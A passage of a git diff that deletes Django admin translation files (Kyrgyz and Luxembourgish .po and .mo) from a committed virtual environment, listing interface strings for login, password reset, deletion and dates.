көрүүгө же өзгөртүүгө жеткиңиз жок." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Оболу колдонуучу атыңызды жана сырсөздү териңиз. Ошондо гана башка " -"маалыматтарын өзгөртө аласыз." - -msgid "Enter a username and password." -msgstr "колдонуучу атыңызды жана сырсөз киргизиңиз." - -msgid "Change password" -msgstr "Сырсөз өзгөртүү" - -msgid "Please correct the error below." -msgstr "Төмөнкү катаны оңдоңуз." - -msgid "Please correct the errors below." -msgstr "Төмөнкү каталарды оңдоңуз" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "%(username)s үчүн жаңы сырсөз териңиз." - -msgid "Welcome," -msgstr "Кош келиңиз," - -msgid "View site" -msgstr "Сайтты ачуу" - -msgid "Documentation" -msgstr "Түшүндүрмө" - -msgid "Log out" -msgstr "Чыгуу" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s кошуу" - -msgid "History" -msgstr "Тарых" - -msgid "View on site" -msgstr "Сайтта көрүү" - -msgid "Filter" -msgstr "Чыпкалоо" - -msgid "Clear all filters" -msgstr "Бүт чыпкаларды алып салуу" - -msgid "Remove from sorting" -msgstr "Ирээттөөдөн алып салуу" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Ирээттөө абзелдүүлүгү: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Ирээтти алмаштыруу" - -msgid "Delete" -msgstr "Өчүрүү" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s өчүрүү үчүн башка байланышкан " -"обекттерди өчүрүү да талап кылынат. Бирок сиздин буга жеткиңиз жок:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s өчүрүү үчүн башка байланышкан " -"обекттерди өчүрүү да талап кылат:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Сиз чындап эле %(object_name)s \"%(escaped_object)s\" өчүрүүнү каалайсызбы? " -"Бүт байланышкан нерселер өчүрүлөт:" - -msgid "Objects" -msgstr "Обекттер" - -msgid "Yes, I’m sure" -msgstr "Ооба, мен чындап эле" - -msgid "No, take me back" -msgstr "Жок, мени аркага кайтар" - -msgid "Delete multiple objects" -msgstr "обекттерди өчүр" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"%(objects_name)s өчүрүү үчүн башка байланышкан обекттерди өчүрүү да талап " -"кылат. Бирок сиздин буга жеткиңиз жок:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"%(objects_name)s өчүрүү үчүн башка байланышкан обекттерди өчүрүү да талап " -"кылат:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"чындап эле %(objects_name)s өчүрүүнү каалайсызбы? Бүт байланышкан нерселер " -"өчүрүлөт:" - -msgid "Delete?" -msgstr "Өчүрөлүбү?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s боюнча" - -msgid "Summary" -msgstr "Жалпысынан" - -msgid "Recent actions" -msgstr "Акыркы аракеттер" - -msgid "My actions" -msgstr "Менин аракеттерим" - -msgid "None available" -msgstr "Мүмкүн эмес" - -msgid "Unknown content" -msgstr "Белгисиз мазмун" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Сиздин базаңызды орнотуу боюнча ката кетти. Керектүү база жадыбалдары " -"түзүлгөндүгүн жана тиешелүү колдонуучунун жеткиси барлыгын текшериңиз." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Сиз %(username)s катары киргенсиз, бирок сиздин бул баракка жеткиңиз жок. " -"Сиз башка колдонуучу катары киресизби?" - -msgid "Forgotten your password or username?" -msgstr "Колдонуучу атыңыз же сырсөздү унутуп калдыңызбы?" - -msgid "Toggle navigation" -msgstr "Навигацияны алмаштыруу" - -msgid "Start typing to filter…" -msgstr "чыпкалоо үчүн жазып башта" - -msgid "Filter navigation items" -msgstr "Навигация элементтерин чыпкалоо" - -msgid "Date/time" -msgstr "Күн/убакыт" - -msgid "User" -msgstr "Колдонуучу" - -msgid "Action" -msgstr "Аракет" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "Бул обекттин өзгөрүү тарыхы жок." - -msgid "Show all" -msgstr "Баарын көрсөтүү" - -msgid "Save" -msgstr "Сактоо" - -msgid "Popup closing…" -msgstr "Жалтаң жабылуу..." - -msgid "Search" -msgstr "Издөө" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "жыйынтыгы:%(counter)s" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "жалпысынан %(full_result_count)s" - -msgid "Save as new" -msgstr "Жаңы катары сактоо" - -msgid "Save and add another" -msgstr "Сакта жана башкасын кош" - -msgid "Save and continue editing" -msgstr "Сакта жана өзгөртүүнү улант" - -msgid "Save and view" -msgstr "Сактап туруп көрүү" - -msgid "Close" -msgstr "Жабуу" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Тандалган %(model)s өзгөртүү" - -#, python-format -msgid "Add another %(model)s" -msgstr "Башка %(model)s кошуу" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Тандалган %(model)s обеттерин өчүрүү" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Сайтта бираз убакыт өткөргөн үчүн ыраазычылык." - -msgid "Log in again" -msgstr "Кайрадан кирүү" - -msgid "Password change" -msgstr "Сырсөз өзгөрт" - -msgid "Your password was changed." -msgstr "Сиздин сырсөз өзгөрдү." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Коопсуздуктан улам эски сырсөздү териңиз, жана биз коошкондугун текшерүү " -"үчүн жаңы сырсөздү эки жолу териңиз." - -msgid "Change my password" -msgstr "Сырсөздү өзгөрт" - -msgid "Password reset" -msgstr "Сырсөздү кыйратуу" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"Сиздин сырсөз орнотулду. Эми сиз алдыга карай жылып, кирүү аткарсаңыз болот." - -msgid "Password reset confirmation" -msgstr "Сырсөздү кыйратуу тастыктамасы" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Тууралыгын жана коошкондугун текшере алышыбыз үчүн сырсөздү эки жолу териңиз." - -msgid "New password:" -msgstr "Жаңы сырсөз" - -msgid "Confirm password:" -msgstr "Сырсөз тастыктоосу:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Сырсөз кыйратуу шилтемеси жараксыз, мурдатан эле колдонулган болушу мүмкүн. " -"Башка шилтеме сурап көрүңүз." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Сырсөз тууралуу сизге кат жөнөттүк. Эгер мындай аккаунт бар болсо аны тез " -"арада ала аласыз." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Эгер сиз екат албасаңыз даректин тууралыган текшериңиз жана спам папкасын " -"текшериңиз." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "Сиз %(site_name)s боюнча сырсөз сураган үчүн бул экат келди." - -msgid "Please go to the following page and choose a new password:" -msgstr "Төмөнкү баракка кириңиз да жаңы сырсөз тандаңыз." - -msgid "Your username, in case you’ve forgotten:" -msgstr "Сиздин колдонуучу атыңыз, унутуп калсаңыз керек болот." - -msgid "Thanks for using our site!" -msgstr "Биздин сайтты колдонгонуңуз үчүн рахмат!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s жамааты" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "Сырсөз унуттуңузбу? едарек териңиз сизге сырсөз боюнча экат жөнөтөбүз." - -msgid "Email address:" -msgstr "едарек:" - -msgid "Reset my password" -msgstr "Сырсөзүмдү кыйрат" - -msgid "All dates" -msgstr "Бүт күндөр" - -#, python-format -msgid "Select %s" -msgstr "%s тандоо" - -#, python-format -msgid "Select %s to change" -msgstr "%s обекттерин өзгөртүү үчүн тандоо" - -#, python-format -msgid "Select %s to view" -msgstr "%s обекттерин көрүү үчүн тандоо" - -msgid "Date:" -msgstr "Күн:" - -msgid "Time:" -msgstr "Убак:" - -msgid "Lookup" -msgstr "Көз чаптыруу" - -msgid "Currently:" -msgstr "Азыркы:" - -msgid "Change:" -msgstr "Өзгөртүү:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 037e5fd7..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/djangojs.po deleted file mode 100644 index 76ca7384..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,260 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Soyuzbek Orozbek uulu , 2020-2021 -# Soyuzbek Orozbek uulu , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-04-02 11:44+0000\n" -"Last-Translator: Soyuzbek Orozbek uulu \n" -"Language-Team: Kyrgyz (http://www.transifex.com/django/django/language/ky/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ky\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s даана жеткиликтүү" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Бул жеткиликтүү тизмеси %s даана . Сиз төмөндө кутудан кээ бирлерин \"Тандоо" -"\" баскычын басуу менен тандап алсаңыз болот." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Жеткиликтүү %s даана тизмесин чыпкалоо үчүн төмөнкү кутуга жазыңыз." - -msgid "Filter" -msgstr "Чыпкалоо" - -msgid "Choose all" -msgstr "Баарын тандоо" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Бүт %s даананы заматта тандоо үчүн чыкылдатыңыз." - -msgid "Choose" -msgstr "Тандоо" - -msgid "Remove" -msgstr "Алып таштоо" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s даана тандалды" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Бул тандалган %s даана. Сиз алардын каалаганын төмөндө кутудан \"Өчүр\" " -"баскычын басуу менен өчүрө аласыз." - -msgid "Remove all" -msgstr "Баарын алып ташта" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Тандалган %s даананын баарын өчүрүү үчүн басыңыз" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)sнерседен %(sel)sтандалды" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Сиз өзүнчө аймактарда сакталбаган өзгөртүүлөргө ээсиз. Эгер сиз бул аракетти " -"жасасаңыз сакталбаган өзгөрүүлөр текке кетет." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Сиз аракетти тандадыңыз бирок өзүнчө аймактарды сактай элексиз. Сактоо үчүн " -"ОК ту басыңыз. Сиз аракетти кайталашыңыз керек." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Сиз аракетти тандадыңыз жана өзүнчө аймактарда өзгөртүү киргизген жоксуз. " -"Сиз Сактоонун ордуна Жөнө баскычын басууңуз керек." - -msgid "Now" -msgstr "Азыр" - -msgid "Midnight" -msgstr "Түнүчү" - -msgid "6 a.m." -msgstr "саарлап саат 6" - -msgid "Noon" -msgstr "Түш" - -msgid "6 p.m." -msgstr "Кэч саат 6" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Эскертүү: Сиз серверден %s саат алдыда жүрөсүз." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Эскертүү: Сиз серверден %s саат аркада жүрөсүз." - -msgid "Choose a Time" -msgstr "Толук убак танда" - -msgid "Choose a time" -msgstr "Кыска убак танда" - -msgid "Cancel" -msgstr "Жокко чыгар" - -msgid "Today" -msgstr "Бүгүн" - -msgid "Choose a Date" -msgstr "Күн танда" - -msgid "Yesterday" -msgstr "Кечээ" - -msgid "Tomorrow" -msgstr "Эртең" - -msgid "January" -msgstr "Январь" - -msgid "February" -msgstr "Февраль" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Апрель" - -msgid "May" -msgstr "Май" - -msgid "June" -msgstr "Июнь" - -msgid "July" -msgstr "Июль" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Сентябрь" - -msgid "October" -msgstr "Октябрь" - -msgid "November" -msgstr "Ноябрь" - -msgid "December" -msgstr "Декабрь" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Янв" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Фев" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Мар" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Апр" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Май" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Июн" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Июл" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Авг" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Сен" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Окт" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Ноя" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Дек" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Жек" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Дүй" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Шей" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Шар" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Бей" - -msgctxt "one letter Friday" -msgid "F" -msgstr "Жума" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Ише" - -msgid "Show" -msgstr "Көрсөт" - -msgid "Hide" -msgstr "Жашыр" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/django.mo deleted file mode 100644 index f989aedb..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/django.po deleted file mode 100644 index 5e2e7945..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/django.po +++ /dev/null @@ -1,632 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# sim0n , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 16:40+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Luxembourgish (http://www.transifex.com/django/django/" -"language/lb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: lb\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "" - -msgid "Are you sure?" -msgstr "" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "All" - -msgid "Yes" -msgstr "Jo" - -msgid "No" -msgstr "Nee" - -msgid "Unknown" -msgstr "Onbekannt" - -msgid "Any date" -msgstr "Iergendeen Datum" - -msgid "Today" -msgstr "Haut" - -msgid "Past 7 days" -msgstr "Läscht 7 Deeg" - -msgid "This month" -msgstr "Dëse Mount" - -msgid "This year" -msgstr "Dëst Joer" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "Aktioun:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "" - -msgid "Remove" -msgstr "" - -msgid "action time" -msgstr "" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "" - -msgid "action flag" -msgstr "" - -msgid "change message" -msgstr "" - -msgid "log entry" -msgstr "" - -msgid "log entries" -msgstr "" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "" - -msgid "None" -msgstr "" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "" - -#, python-format -msgid "Change %s" -msgstr "" - -msgid "Database error" -msgstr "" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#, python-format -msgid "Change history: %s" -msgstr "" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "" - -msgid "Django administration" -msgstr "" - -msgid "Site administration" -msgstr "" - -msgid "Log in" -msgstr "" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "" - -msgid "We're sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "" - -msgid "Server error" -msgstr "" - -msgid "Server error (500)" -msgstr "" - -msgid "Server Error (500)" -msgstr "" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "" - -msgid "Go" -msgstr "" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Welcome," -msgstr "" - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "" - -msgid "Log out" -msgstr "" - -#, python-format -msgid "Add %(name)s" -msgstr "" - -msgid "History" -msgstr "" - -msgid "View on site" -msgstr "" - -msgid "Filter" -msgstr "" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "Läschen" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "Änner" - -msgid "Delete?" -msgstr "" - -#, python-format -msgid " By %(filter_title)s " -msgstr "" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "" - -msgid "You don't have permission to edit anything." -msgstr "" - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "" - -msgid "User" -msgstr "" - -msgid "Action" -msgstr "" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "" - -msgid "Save" -msgstr "" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "" - -msgid "Save as new" -msgstr "" - -msgid "Save and add another" -msgstr "" - -msgid "Save and continue editing" -msgstr "" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "" - -msgid "Log in again" -msgstr "" - -msgid "Password change" -msgstr "" - -msgid "Your password was changed." -msgstr "" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "" - -msgid "Password reset" -msgstr "" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "" - -msgid "Confirm password:" -msgstr "" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you've forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "" - -#, python-format -msgid "The %(site_name)s team" -msgstr "" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "" - -msgid "All dates" -msgstr "" - -#, python-format -msgid "Select %s" -msgstr "" - -#, python-format -msgid "Select %s to change" -msgstr "" - -msgid "Date:" -msgstr "" - -msgid "Time:" -msgstr "" - -msgid "Lookup" -msgstr "" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 5b7937f6..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/djangojs.po deleted file mode 100644 index e1c4a6ab..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/lb/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,145 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2015-01-17 11:07+0100\n" -"PO-Revision-Date: 2014-10-05 20:12+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Luxembourgish (http://www.transifex.com/projects/p/django/" -"language/lb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: lb\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "" - -msgid "Choose all" -msgstr "" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "" - -msgid "Clock" -msgstr "" - -msgid "Choose a time" -msgstr "" - -msgid "Midnight" -msgstr "" - -msgid "6 a.m." -msgstr "" - -msgid "Noon" -msgstr "" - -msgid "Cancel" 